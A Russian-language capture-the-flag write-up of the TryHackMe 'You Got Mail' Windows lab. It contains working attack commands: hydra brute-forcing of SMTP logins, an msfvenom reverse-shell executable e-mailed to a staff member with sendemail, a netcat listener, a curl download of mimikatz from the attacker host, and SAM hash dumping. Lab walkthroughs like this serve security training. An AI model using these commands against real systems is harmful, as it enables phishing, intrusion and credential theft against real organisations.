Пост

TryHackMe - You Got Mail

Windows-машина тоже может быть интересной

TryHackMe - You Got Mail

Введение

Давайте повысим уровень и попробуем комнату Medium. Предполагается, что нам нужно получить доступ к сайту brownbrick.co и, как я понимаю, зайти через e-mail адрес.

Tryhackme Room Link

Nmap

Начнём со сканирования nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
nmap -T4 -n -sC -sV -Pn -p- 10.10.148.225
PORT      STATE SERVICE       VERSION
25/tcp    open  smtp          hMailServer smtpd
| smtp-commands: BRICK-MAIL, SIZE 20480000, AUTH LOGIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
110/tcp   open  pop3          hMailServer pop3d
|_pop3-capabilities: USER UIDL TOP
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
143/tcp   open  imap          hMailServer imapd
|_imap-capabilities: OK IMAP4rev1 IMAP4 completed CHILDREN SORT RIGHTS=texkA0001 ACL CAPABILITY IDLE QUOTA NAMESPACE
445/tcp   open  microsoft-ds?
587/tcp   open  smtp          hMailServer smtpd
| smtp-commands: BRICK-MAIL, SIZE 20480000, AUTH LOGIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-02-18T19:57:00+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=BRICK-MAIL
| Not valid before: 2025-02-17T19:53:26
|_Not valid after:  2025-08-19T19:53:26
| rdp-ntlm-info: 
|   Target_Name: BRICK-MAIL
|   NetBIOS_Domain_Name: BRICK-MAIL
|   NetBIOS_Computer_Name: BRICK-MAIL
|   DNS_Domain_Name: BRICK-MAIL
|   DNS_Computer_Name: BRICK-MAIL
|   Product_Version: 10.0.17763
|_  System_Time: 2025-02-18T19:56:52+00:00
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
7680/tcp  open  pando-pub?
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: BRICK-MAIL; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2025-02-18T19:56:52
|_  start_date: N/A

Много открытых портов, в основном с сервисами Microsoft

Разведка

Помимо открытых портов, мы получили сайт https://brownbrick.co, так что давайте зайдём на него

Мы можем сразу перейти на страницу команды и увидеть e-mail адреса

Flag

Давайте составим список, чтобы позже использовать его для брутфорса

1
2
3
4
5
6
oaurelius@brownbrick.co
tchikondi@brownbrick.co
wrohit@brownbrick.co
pcathrine@brownbrick.co
lhedvig@brownbrick.co
fstamatis@brownbrick.co

И мы можем использовать список паролей, сгенерированный с помощью инструмента cewl, со всего сайта

1
$ cewl --lowercase https://brownbrick.co/ > pass.txt

Брутфорс

Ок, так как у нас есть список имён пользователей и паролей, давайте попробуем забрутфорсить доступ через smtp порт 587/tcp, раз он открыт. Мы будем использовать hydra, так как это самый простой вариант

1
hydra -L team.txt -P pass.txt 10.10.148.225 smtp -s 587

И мы получили попадание!

1
2
[587][smtp] host: 10.10.148.225   login: lhedvig@brownbrick.co   password: bricks

Так как у нас есть валидные учетные данные, мы можем использовать их для отправки e-mail другим участникам команды с помощью metasploit (msvenom). Давайте создадим исполняемый файл с reverse shell, чтобы отправить его другим членам команды

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.75.122 LPORT=1337 -f exe -o shell.exe

Давайте откроем прослушивание на порту 1337 и отправим e-mail с нашим вложенным shell.exe

1
2
nc -lvnp 1337                                                                             
listening on [any] 1337 ...

И давайте отправим e-mail первому участнику команды:

1
2
sendemail -f "lhedvig@brownbrick.co" -t "oaurelius@brownbrick.co" -u "test" -m "test" -a shell.exe -s 10.10.148.225:25 -xu "lhedvig@brownbrick.co" -xp "bricks"
Feb 18 21:22:08 kali sendemail[23334]: Email was sent successfully!

И мы видим, что пользователь уже кликнул по нашему вложению!

1
2
3
4
5
6
7
connect to [10.11.75.122] from (UNKNOWN) [10.10.148.225] 49759
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Mail\Attachments>
whoami
brick-mail\wrohit

Пользовательский флаг

Флаг находится на рабочем столе нашего пользователя, так что давайте заберём его

User Flag

Получение паролей

Для этого мы будем использовать инструмент mimikatz Мы можем дампить хэши с Windows‑машины, поэтому сначала нам нужно доставить приложение mimikatz.exe на целевую машину

Давайте запустим HTTP‑сервер на нашей атакующей машине, где находится mimikatz.exe, и будем использовать его как сервер для скачивания

1
2
python3 -m http.server 80                                                                  
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

А затем скачаем файл с нашей машины

1
2
3
4
curl http://10.11.75.122/mimikatz.exe -o mimikatz.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 1323k  100 1323k    0     0  1323k      0  0:00:01 --:--:--  0:00:01 3393k

Теперь мы можем использовать mimikatz.exe, чтобы сделать дамп хэшей

1
2
3
4
5
6
7
8
mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

Нам нужно повысить привилегии, используя token::elevate

1
2
mimikatz # privilege::debug
Privilege '20' OK

И выгрузить хеши

1
2
3
4
mimikatz # lsadump::sam
RID  : 000003f6 (1014)
User : wrohit
  Hash NTLM: 8458995f1d0a4b0c107fb8e23362c814

Теперь взломаем хэш с помощью crackstation.net

Root Flag

А чтобы получить пароль от hMail, мы переходим к

1
2
C:\Program Files (x86)\hMailServer\Bin>type hMailServer.INI
AdministratorPassword=5f4dcc3b5aa765d61d8327deb882cf99

Снова используем Crackstation — и на этом всё готово

hmail


Авторский пост защищен лицензией CC BY 4.0 .